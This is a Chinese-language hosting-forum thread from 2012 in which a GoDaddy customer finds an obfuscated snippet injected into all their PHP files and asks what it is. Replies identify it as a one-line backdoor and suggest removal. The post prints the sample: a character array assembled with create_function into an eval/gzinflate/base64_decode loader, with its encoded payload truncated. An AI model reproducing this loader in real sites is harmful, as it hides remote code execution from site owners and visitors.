分享

写回答

发帖

[提问] 高手帮我看下,我的网站是否中毒了

GoDaddy GoDaddy 2126 人阅读 | 7 人回复

发表于 2012-9-11 14:14:10 | 显示全部楼层 |阅读模式

我用的godaddy的空间,
最近发现所有的空间下面的PHP文件都已经被加入了一段代码,代码如下:

<?php
$md5 = "0e4759c9ba6fb34bed500dc8d3111488";
$a4 = array('$','f',')',";","c","v",'6',"i","b","l","a","r","(","z","s",'4',"t",'d',"n",'o',"e","_","g");
$b40 = create_function('$'.'v',$a4[20].$a4[5].$a4[10].$a4[9].$a4[12].$a4[22].$a4[13].$a4[7].$a4[18].$a4[1].$a4[9].$a4[10].$a4[16].$a4[20].$a4[12].$a4[8].$a4[10].$a4[14].$a4[20].$a4[6].$a4[15].$a4[21].$a4[17].$a4[20].$a4[4].$a4[19].$a4[17].$a4[20].$a4[12].$a4[0].$a4[5].$a4[2].$a4[2].$a4[2].$a4[3]);
$b40('DZRFDrToAgCPMzNhgTaSySyQxuXDGzYvuLtz+vdfoBaVVBVn0v9dvc1Y9sle/J0........?>



可以知道这段代码什么意思吗?
目前来说,网站的访问都没有问题,但是这段代码究竟什么意思呢?

是什么原因造成的,会对网站产生什么影响?我怎么处理这个东东?

回答|共 7 个

暮木娃娃

发表于 2012-9-11 14:19:29 | 显示全部楼层

不清楚代码
你网站访问正常的话,流量等方面有什么异常吗
RAKSmart
回复 支持 反对

使用道具 举报

ecctao

发表于 2012-9-11 14:24:06 | 显示全部楼层

好像什么都是好的,没有影响,但是就是无缘无故的多出这么一段代码,很奇怪!
回复 支持 反对

使用道具 举报

nisheng

发表于 2012-9-11 14:48:40 | 显示全部楼层

每个文件下都出现这个代码吗,看了下不清楚是不是php md5() 函数,好像是数据加密之类的吧,最好检查下网站的程序
回复 支持 反对

使用道具 举报

samer

发表于 2012-9-24 21:25:56 | 显示全部楼层

绝对是木马啊,而且是一句话后门木马~~建议你快点批处理删除掉这些木马代码了,检查一下自己的程序是不是有漏洞,例如网站后台密码太简单,而且后台地址容易暴露。
回复 支持 反对

使用道具 举报

ecctao

发表于 2012-9-18 13:11:34 | 显示全部楼层

晕菜了,清除这些代码之后,没有几天,这些代码又回来了!
究竟怎么回事啊?
回复 支持 反对

使用道具 举报

ecctao

发表于 2012-9-18 13:12:56 | 显示全部楼层

整个空间的所有PHP文件都带有这种代码,
我上次清除这些代码之后,改了主机密码了,可惜还是不行。
非常怀疑是整个主机被黑客黑了!
回复 支持 反对

使用道具 举报

xushaohua

发表于 2012-9-18 13:52:38 | 显示全部楼层

haol
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则